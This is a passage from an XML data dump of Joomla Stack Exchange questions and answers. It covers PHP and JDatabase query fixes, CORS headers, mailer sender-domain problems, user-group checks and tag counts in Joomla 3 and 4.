function.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The same as SMTPDebug.&lt;/p&gt;&#xA;&lt;h3&gt;The question&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;How do I make my mailer work again?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="16107" LastEditorUserId="16107" LastEditDate="2022-02-10T16:48:17.097" LastActivityDate="2022-02-10T16:48:17.097" Title="getMailer gives &quot;Failed to start application&quot; exception, how do I fix it?" Tags="|php|emails|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="31924" PostTypeId="1" CreationDate="2022-02-09T20:33:32.317" Score="1" ViewCount="58" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($user-&amp;gt;id &amp;gt;= 1): // logged in ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This checks to see if the user is logged in, but not which group the user belongs to. I'm trying to show content only for registered users.&lt;/p&gt;&#xA;" OwnerUserId="16108" LastEditorUserId="12352" LastEditDate="2022-02-09T23:52:36.700" LastActivityDate="2022-02-10T13:46:13.923" Title="Joomla 3 - How to find if logged in user is registered?" Tags="|joomla-3.x|acl|user-groups|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31925" PostTypeId="2" ParentId="31924" CreationDate="2022-02-09T21:50:56.060" Score="1" Body="&lt;p&gt;A quick search turns up a couple of answers that give you a list of groups the user belongs to that you can then process to determine if the group is the Registered group.&lt;/p&gt;&#xA;&lt;p&gt;This answer is for J2.5 but still looks like it will work.&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/18407595/get-user-group-id-in-joomla-with-php/18407692&quot;&gt;https://stackoverflow.com/questions/18407595/get-user-group-id-in-joomla-with-php/18407692&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This answer is more comprehensive and should be enough for you to progress.&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/18357/how-to-know-which-usergroup-specific-access-level-user-belongs-to&quot;&gt;How to know which usergroup/specific access level user belongs to&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-02-09T21:50:56.060" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31926" PostTypeId="1" CreationDate="2022-02-10T10:26:21.163" Score="1" ViewCount="43" Body="&lt;p&gt;I am using mailchimp to send newsletters. Everything works fine apart from the fact that my RSS feed generated by Joomla does not contain the media:content tag, hence mailchimp doesn't show the images corellated to the articles. &lt;strong&gt;My website is based on Joomla 4.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The (hidden) menu through which the RSS feed is generated (the menu contains the latest articles, about 10 of them on each page of the menu) is a SP Builder Page, so I studied its structure and located the div inside where the article links/images/title etc. are.&lt;/p&gt;&#xA;&lt;p&gt;I wrote this simple JS script which outputs the 7 first image links from the blog feed:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var imageDivs = Array.from(document.querySelectorAll(&amp;quot;.article-intro-image&amp;quot;));&#xA;&#xA;for (let i=0; i&amp;lt;=6; i++) {&#xA;    console.log (imageDivs[i].firstElementChild.currentSrc.replace(&amp;quot;thumbnail&amp;quot;, &amp;quot;large&amp;quot;).replace(&amp;quot;small&amp;quot;, &amp;quot;large&amp;quot;));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How do I go about integrating this to the Joomla core &amp;quot;Syndicate RSS feed&amp;quot; module? Is there, perhaps, an easier way instead of custom code and overrides? I have not been able to find an extension in the Joomla community that solves this problem.&lt;/p&gt;&#xA;" OwnerUserId="16110" LastActivityDate="2022-02-10T10:26:21.163" Title="media:content tag missing from Joomla RSS Feed" Tags="|joomla-4|content|rss|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31927" PostTypeId="2" ParentId="31924" CreationDate="2022-02-10T13:46:13.923" Score="2" Body="&lt;p&gt;Resolved with the following code:&lt;/p&gt;&#xA;&lt;p&gt;I just needed to discover a way of grabbing either the group name or user group id.&lt;/p&gt;&#xA;&lt;p&gt;We do the latter and grab the id of the group we wish to manipulate. All user group ids of the current user are added to an array ($groups). Then we search that array for the group id we need.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user   = JFactory::getUser();&#xA;$groups = $user-&amp;gt;get('groups');&#xA;&#xA;if (in_array(2, $groups))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16108" LastActivityDate="2022-02-10T13:46:13.923" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31928" PostTypeId="1" CreationDate="2022-02-10T15:25:19.010" Score="1" ViewCount="354" Body="&lt;p&gt;I'm trying to allow CORS on my website but I can't get it to work.&#xA;I've seen many posts about this, from updating .htacces, httpd.conf, meta tags, and php headers, but nothing worked. I always get a CORS error when my script tries to download a file from the CDN.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Here is the script:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; header('Access-Control-Allow-Origin: *'); // this doesn't change anything&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot;   // as above&#xA;      content=&amp;quot;default-src 'self'  mediafire.com   *.mediafire.com;&amp;quot;&amp;gt;&#xA;&#xA;&amp;lt;video&#xA;    id=&amp;quot;fplayer&amp;quot;&#xA;    class=&amp;quot;video-js vjs-default-skin vjs-16-9&amp;quot;&#xA;    controls&#xA;    preload=&amp;quot;none&amp;quot;&#xA;    &amp;lt;source src=&amp;quot;https://www.mediafire.com/file/myfile.m3u8&amp;quot; type=&amp;quot;application/x-mpegURL&amp;quot;&amp;gt; &#xA;&amp;lt;/video&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;.htaccess&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Header set Access-Control-Allow-Origin &amp;quot;*&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Apache conf&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;    Header set Access-Control-Allow-Origin &amp;quot;*&amp;quot;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;Header always set Access-Control-Allow-Origin &amp;quot;*&amp;quot;&#xA;Header always set Access-Control-Allow-Headers &amp;quot;Authorization&amp;quot;&#xA;Header always set Access-Control-Allow-Methods &amp;quot;GET&amp;quot;&#xA;Header always set Access-Control-Expose-Headers &amp;quot;Content-Security-Policy, Location&amp;quot;&#xA;Header always set Access-Control-Max-Age &amp;quot;600&amp;quot;&#xA;&#xA;RewriteEngine On&#xA;RewriteCond %{REQUEST_METHOD} OPTIONS&#xA;RewriteRule ^(.*)$ $1 [R=200,L]  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;The error message in the browser&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Access to XMLHttpRequest at 'https://www.mediafire.com/file/myfile.m3u8' from origin 'https://www.fempton.com' has been blocked by CORS policy: The 'Access-Control-Allow-Origin' header has a value 'https://www.mediafire.com' that is not equal to the supplied origin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Links I've seen:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ubiq.co/tech-blog/enable-cors-apache-web-server/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ubiq.co/tech-blog/enable-cors-apache-web-server/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://enable-cors.org/server_apache.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://enable-cors.org/server_apache.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I restarted Apache and the VPS too. No changes, still get the CORS error.&lt;/p&gt;&#xA;" OwnerUserId="15723" LastEditorUserId="12352" LastEditDate="2022-02-10T23:14:06.413" LastActivityDate="2022-02-10T23:14:06.413" Title="Joomla 3.9 CORS error" Tags="|development|url|security|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31929" PostTypeId="2" ParentId="31923" CreationDate="2022-02-10T16:46:26.630" Score="2" Body="&lt;p&gt;I found the answer to this question myself, but I have to thank &lt;a href=&quot;https://joomla.stackexchange.com/users/12352/mickmackusa&quot;&gt;mickmackusa&lt;/a&gt; for pointing me in the right direction by linking several debug instructions.&lt;/p&gt;&#xA;&lt;p&gt;Since other people might encounter my same problem, this answer is directed at them.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Make sure your Sender uses the same domain as your site&lt;/h3&gt;&#xA;&lt;p&gt;Noticing how SMTPDebug also gives the &amp;quot;Could not instantiate mail server&amp;quot; error, I searched for that string in the &lt;a href=&quot;https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting#could-not-instantiate-mail-function&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHPmailer GitHub wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Since SiteGround makes it hard to change those settings, I logged to their support service to ask them how to do it, and while their tutorials about e-mails have been unhelpful, their &amp;quot;contact us - choose a category&amp;quot; tree has a &amp;quot;The website can't send e-mails&amp;quot; article in which there was a message for me, stating that they blocked my e-mails starting on 02/02/2022 because they have a different domain than the site and that could put me in trouble with spam detection.&lt;/p&gt;&#xA;&lt;p&gt;SiteGround probably sent out a warning by e-mail, but as I'm working as a Collaborator (a SiteGround feature that lets users work on sites whose server is owned by someone else) I never got notified.&lt;/p&gt;&#xA;&lt;p&gt;The solution was just to create e-mails within the SiteGround site management interface (a Collaborator can't do it, but the owner of the site can) and then use that as the Sender.&lt;/p&gt;&#xA;" OwnerUserId="16107" LastActivityDate="2022-02-10T16:46:26.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31930" PostTypeId="2" ParentId="28446" CreationDate="2022-02-10T16:47:44.600" Score="1" Body="&lt;p&gt;You can achieve this behavior writing a User plugin for joomla and handling the right Events on your needs.&lt;/p&gt;&#xA;&lt;p&gt;On the event BeforeSave, copy the value of the email into the username&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function onUserBeforeSave($oldUser, $isnew, $newUser){&#xA; //email2 is the &amp;quot;repeated email&amp;quot; field&#xA; $newUser[&amp;quot;email2&amp;quot;] = $newUser['email1'];&#xA; $oldUser[&amp;quot;email2&amp;quot;] = $newUser['email1'];&#xA; //Fill username with email&#xA; $newUser[&amp;quot;username&amp;quot;] = $newUser['email1'];&#xA; $oldUser[&amp;quot;username&amp;quot;] = $newUser['email1'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On the event that create the subscription form, unset the fields you don't want to show:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function onContentPrepareForm($form, $data){&#xA; //fields to remove (example)&#xA; $form-&amp;gt;removeField('email2');&#xA; $form-&amp;gt;removeField('spacer');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is just an example, here some Joomla reference to the Events:&#xA;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events/User&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events/User&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If in doubt, take a look at the default joomla user plugins&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2022-02-10T16:47:44.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31931" PostTypeId="1" CreationDate="2022-02-11T07:25:36.840" Score="3" ViewCount="173" Body="&lt;p&gt;On my Joomla website, I'd like to count all the articles by tag.&lt;/p&gt;&#xA;&lt;p&gt;I found this thread about how to count the number of articles by category : &lt;a href=&quot;https://joomla.stackexchange.com/questions/5126/how-to-show-number-of-published-articles?newreg=e3b307daff1649b080fdf7e5977e5d76&quot;&gt;How to Show number of published articles?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried to find the tag in my Joomla website's database to adapt the code, but I couldn't find the tag list in clear. Does anyone know in which table thy are?&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16111" LastActivityDate="2022-02-11T17:23:41.810" Title="Count the number of articles tagged with the same tag" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31933" PostTypeId="2" ParentId="31931" CreationDate="2022-02-11T17:23:41.810" Score="2" Body="&lt;p&gt;Actually, I've created a counter for the tags in Joomla 4. My PR &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/28831&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/28831&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To get a list of tags with the number of articles, you need to&#xA;connect the tables:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;#__tags - for the tag names&lt;/li&gt;&#xA;&lt;li&gt;#__contentitem_tag_map - as a sub query to count the tags&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;My PR was for all kinds of tags, so not only for articles. Maybe you could use the following query as a basis. To only count articles, you could add some &lt;code&gt;where&lt;/code&gt; statement to filter the &lt;code&gt;contentitem_tag_map&lt;/code&gt; on &lt;code&gt;type_alias&lt;/code&gt; = &lt;code&gt;com_content.article&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Create a new query object.&#xA;$db    = $this-&amp;gt;getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;// Select the required fields from the table.&#xA;$query-&amp;gt;select(&#xA;    $this-&amp;gt;getState(&#xA;        'list.select',&#xA;        'a.id, a.title, a.alias, a.note, a.published, a.access, a.description' .&#xA;        ', a.checked_out, a.checked_out_time, a.created_user_id' .&#xA;        ', a.path, a.parent_id, a.level, a.lft, a.rgt' .&#xA;        ', a.language'&#xA;    )&#xA;);&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__tags', 'a'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('a.alias') . ' &amp;lt;&amp;gt; ' . $db-&amp;gt;quote('root'));&#xA;&#xA;// Join over the language&#xA;$query-&amp;gt;select(&#xA;    [&#xA;        $db-&amp;gt;quoteName('l.title', 'language_title'),&#xA;        $db-&amp;gt;quoteName('l.image', 'language_image'),&#xA;    ]&#xA;)&#xA;    -&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__languages', 'l'), $db-&amp;gt;quoteName('l.lang_code') . ' = ' . $db-&amp;gt;quoteName('a.language'));&#xA;&#xA;// Join over the users for the checked out user.&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName('uc.name', 'editor'))&#xA;    -&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__users', 'uc'), $db-&amp;gt;quoteName('uc.id') . ' = ' . $db-&amp;gt;quoteName('a.checked_out'));&#xA;&#xA;// Join over the users for the author.&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName('ua.name', 'author_name'))&#xA;    -&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__users', 'ua'), $db-&amp;gt;quoteName('ua.id') . ' = ' . $db-&amp;gt;quoteName('a.created_user_id'))&#xA;    -&amp;gt;select($db-&amp;gt;quoteName('ug.title', 'access_title'))&#xA;    -&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__viewlevels', 'ug'), $db-&amp;gt;quoteName('ug.id') . ' = ' . $db-&amp;gt;quoteName('a.access'));&#xA;&#xA;// Count Items&#xA;$subQueryCountTaggedItems = $db-&amp;gt;getQuery(true);&#xA;$subQueryCountTaggedItems&#xA;    -&amp;gt;select('COUNT(' . $db-&amp;gt;quoteName('tag_map.content_item_id') . ')')&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__contentitem_tag_map', 'tag_map'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('tag_map.tag_id') . ' = ' . $db-&amp;gt;quoteName('a.id'));&#xA;$query-&amp;gt;select('(' . (string) $subQueryCountTaggedItems . ') AS ' . $db-&amp;gt;quoteName('countTaggedItems'));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-02-11T17:23:41.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31934" PostTypeId="2" ParentId="9012" CreationDate="2022-02-11T17:38:46.720" Score="0" Body="&lt;p&gt;SHA-1 is now, insecure. Not recommended in 2022.&lt;/p&gt;&#xA;" OwnerUserId="9118" LastActivityDate="2022-02-11T17:38:46.720" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31935" PostTypeId="1" AcceptedAnswerId="31940" CreationDate="2022-02-12T21:32:49.157" Score="2" ViewCount="505" Body="&lt;p&gt;I'm coding my first Joomla! 4 component. There are two tables for the component: &lt;em&gt;pfx_list&lt;/em&gt;, and &lt;em&gt;pfx_member_to_list&lt;/em&gt;. Table &lt;em&gt;pfx_list&lt;/em&gt; hash primary key &lt;em&gt;id&lt;/em&gt;, and table &lt;em&gt;pfx_member_to_list&lt;/em&gt; has foreign key &lt;em&gt;list_id&lt;/em&gt; pointing to table &lt;em&gt;pfx_list&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I need a list of all rows of &lt;em&gt;pfx_list&lt;/em&gt; joined with the number of matches in &lt;em&gt;pfx_member_to_list&lt;/em&gt;, which can be none, one, or many.&lt;/p&gt;&#xA;&lt;p&gt;In the first version, there was a simple LEFT JOIN, but this did (of course) not return rows with zero entries in the right table. &lt;em&gt;But&lt;/em&gt;, this version was running fine (except for the missing rows), so I know the component code is basically ok.&lt;/p&gt;&#xA;&lt;p&gt;I then changed the query to a LEFT JOIN on a subselect, so that rows with no matches in the right table will also be returned. This is the query, and when run through php_myadmin, it returns the desired result:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT a.id, a.list_name, coalesce( member_cnt, 0 )&#xA;FROM      pfx_list as a&#xA;LEFT JOIN ( select list_id, count(*) as member_cnt &#xA;            from pfx_member_to_list&#xA;            group by list_id&#xA;            ) b&#xA;        ON a.id = b.list_id&#xA;GROUP BY a.list_name&#xA;ORDER BY a.list_name;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm stuck with translating this to a JDataBase query object. Here is the current code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db       = $this-&amp;gt;getDbo();&#xA;$query    = $db-&amp;gt;getQuery(true);&#xA;$subquery = $db-&amp;gt;getQuery(true);&#xA;&#xA;$subquery-&amp;gt;select(['list_id', 'count(*) as member_cnt'])&#xA;         -&amp;gt;from($db-&amp;gt;quotename('#__member_to_list', 'b'))&#xA;         -&amp;gt;group($db-&amp;gt;quotename('b.list_id'));&#xA;&#xA;$query-&amp;gt;select(['a.id', 'a.list_name', 'a.nz_list_id', 'a.nz_list_key', 'coalesce(member_cnt, 0)'])&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__list', 'a'))&#xA;      -&amp;gt;join('LEFT', $subquery . ' ON ' . $db-&amp;gt;quoteName('a.id') . ' = ' . $db-&amp;gt;quoteName('b.list_id'))&#xA;      -&amp;gt;order($db-&amp;gt;quoteName('a.list_name') . ' ASC')&#xA;      -&amp;gt;group($db-&amp;gt;quotename('a.list_name'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When the query is run in Joomla! via admin menu entry, I'm getting error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;An error has occurred.&#xA;500 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version &#xA;for the right syntax to use near 'SELECT list_id,count(*) as member_cnt FROM &#xA;`pfx_member_to_...' at line 4 You have an error in your SQL syntax; check the manual that&#xA;corresponds to your MariaDB server version for the right syntax to use near 'SELECT list_id,count(*) as &#xA;member_cnt FROM ``pfx_member_to_...' at line 4 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've tried removing &lt;code&gt;quoteName()&lt;/code&gt;, and some more changes, but cannot seem to find out what is wrong.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1&lt;/strong&gt;: Here is a &lt;a href=&quot;https://www.db-fiddle.com/f/ssXoXNNop6oa3zmVuswRNY/2&quot; rel=&quot;nofollow noreferrer&quot;&gt;working sample on db-fiddle.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15238" LastEditorUserId="15238" LastEditDate="2022-02-13T09:50:48.640" LastActivityDate="2022-02-13T10:35:15.337" Title="SQL syntax error in query with subquery using JDatabase" Tags="|jdatabase|joomla-4|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="31936" PostTypeId="2" ParentId="31935" CreationDate="2022-02-12T22:19:12.673" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;to spot a sql syntax error it's useful to view the resultant sql eg.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; echo $query-&amp;gt;__toString();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;you've put the alias of the subquery 'b' as the alias of the table inside the subquery.  But the main reason is that the subquery needs parentheses in the join clause.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; $subquery-&amp;gt;select(['list_id', 'count(*) as member_cnt'])&#xA;      -&amp;gt;from($db-&amp;gt;quotename('#__member_to_list'))&#xA;      -&amp;gt;group($db-&amp;gt;quotename('b.list_id'));&#xA;&#xA; $query-&amp;gt;select(['a.id', 'a.list_name', 'a.nz_list_id', 'a.nz_list_key', 'coalesce(member_cnt, 0)'])&#xA;   -&amp;gt;from($db-&amp;gt;quoteName('#__list', 'a'))&#xA;   -&amp;gt;join('LEFT', '(' . $subquery . ') AS b ON ' . $db-&amp;gt;quoteName('a.id') . ' = ' . $db-&amp;gt;quoteName('b.list_id'))&#xA;   -&amp;gt;order($db-&amp;gt;quoteName('a.list_name') . ' ASC')&#xA;   -&amp;gt;group($db-&amp;gt;quotename('a.list_name'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2022-02-12T22:54:20.860" LastActivityDate="2022-02-12T22:54:20.860" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31937" PostTypeId="2" ParentId="31423" CreationDate="2022-02-12T23:39:58.843" Score="1" Body="&lt;p&gt;Some added suggestions around null dates - I came upon the need to remove a date from a datetime field using the standard Table from the Model class.  This makes the removal of a date nice and clean.  This may be obvious to some.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$updateNulls = true;&#xA;$table = $this-&amp;gt;getTable();&#xA;$table-&amp;gt;load($id);&#xA;&#xA;$table-&amp;gt;proved_date = NULL;&#xA;&#xA;$table-&amp;gt;store($updateNulls);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1985" LastEditorUserId="12352" LastEditDate="2022-02-13T08:35:21.720" LastActivityDate="2022-02-13T08:35:21.720" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31938" PostTypeId="1" CreationDate="2022-02-13T05:17:36.223" Score="0" ViewCount="140" Body="&lt;p&gt;I have an error showing in Joomla v3.10.5, while accessing the modules under extensions&lt;/p&gt;&#xA;&lt;p&gt;Out of sort memory, consider increasing server sort buffer size Out of sort memory, consider increasing server sort buffer size&lt;/p&gt;&#xA;&lt;p&gt;I'm new to Joomla, anyone can help?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yTPRL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yTPRL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16117" LastActivityDate="2022-02-13T23:06:59.290" Title="Out of sort memory, consider increasing server sort buffer size Out of sort memory, consider increasing server sort buffer size" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31939" PostTypeId="2" ParentId="31938" CreationDate="2022-02-13T06:46:08.423" Score="2" Body="&lt;p&gt;A quick search brings up this result which has a lot of seemingly good comments about how to increase the memory for the SQL query, however there is also advice suggesting to review the Query you are running.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/29575835/error-1038-out-of-sort-memory-consider-increasing-sort-buffer-size&quot;&gt;https://stackoverflow.com/questions/29575835/error-1038-out-of-sort-memory-consider-increasing-sort-buffer-size&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So I would check what size memory you already and unless it is below the default look at the query.&lt;/p&gt;&#xA;&lt;p&gt;As the message is a SQL issue it is not something you can expect to change in the Joomla options.&lt;/p&gt;&#xA;&lt;p&gt;If you are just looking at the list of modules under the Admin view then it is possible you have too many modules created and that the default Query is running out of storage. I worked on a problem a few years back where the site had over 1'000 modules created and that would run out of memory when they tried to update some modules.&lt;/p&gt;&#xA;&lt;p&gt;If you need more help you will need to provide more information about your environment.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2022-02-13T23:06:59.290" LastActivityDate="2022-02-13T23:06:59.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31940" PostTypeId="2" ParentId="31935" CreationDate="2022-02-13T08:26:06.777" Score="3" Body="&lt;p&gt;You can actual fetch the desired result without implementing a JOIN on a subquery.&lt;/p&gt;&#xA;&lt;p&gt;Use a LEFT JOIN if you want the possibility of zero counts in the results.  Use a regular JOIN (INNER JOIN) if you want to exclude zero counts from your result set.&lt;/p&gt;&#xA;&lt;p&gt;If your &lt;code&gt;name&lt;/code&gt; column is guaranteed to be unique, you can GROUP BY that column.  If you might possibly have shared &lt;code&gt;name&lt;/code&gt; values in the first table, then you'll need to GROUP BY something that will be unique -- like the &lt;code&gt;id&lt;/code&gt; column for absolute stability -- as well as the &lt;code&gt;name&lt;/code&gt; column that you want in your SELECT clause.&lt;/p&gt;&#xA;&lt;p&gt;SQL: (&lt;a href=&quot;https://www.db-fiddle.com/f/4MD26vqrq51wAYK1NXmXMW/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Generalised DB-Fiddle&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT a.id, a.list_name, COUNT(b.id) &#xA;FROM pfx_list AS a&#xA;LEFT JOIN pfx_member_to_list AS b ON a.id = b.list_id&#xA;GROUP BY a.id, a.list_name&#xA;ORDER BY a.list_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Joomla Query Builder Syntax:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select(&amp;quot;a.id, a.list_name, COUNT(b.id) AS cnt&amp;quot;)&#xA;   -&amp;gt;from(&amp;quot;#__list AS a&amp;quot;))&#xA;   -&amp;gt;join(&amp;quot;LEFT&amp;quot;, &amp;quot;#__member_to_list AS b ON a.id = b.list_id&amp;quot;)&#xA;   -&amp;gt;group(&amp;quot;a.id, a.list_name&amp;quot;)&#xA;   -&amp;gt;order(&amp;quot;a.list_name&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;EDIT: With your newly supplied db-fiddle, I have adjust the SELECT and GROUP BY clauses to include your extra columns.  No subquery is needed. (&lt;a href=&quot;https://www.db-fiddle.com/f/ssXoXNNop6oa3zmVuswRNY/4&quot; rel=&quot;nofollow noreferrer&quot;&gt;DB-Fiddle Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT a.id,&#xA;       a.list_name,&#xA;       a.nz_list_id,&#xA;       a.nz_list_key,&#xA;       COUNT(b.member_id) cnt&#xA;FROM lists AS a&#xA;LEFT JOIN member_to_list AS b ON a.id = b.list_id&#xA;GROUP BY a.id,&#xA;         a.list_name,&#xA;         a.nz_list_id,&#xA;         a.nz_list_key&#xA;ORDER BY a.list_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2022-02-13T10:35:15.337" LastActivityDate="2022-02-13T10:35:15.337" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
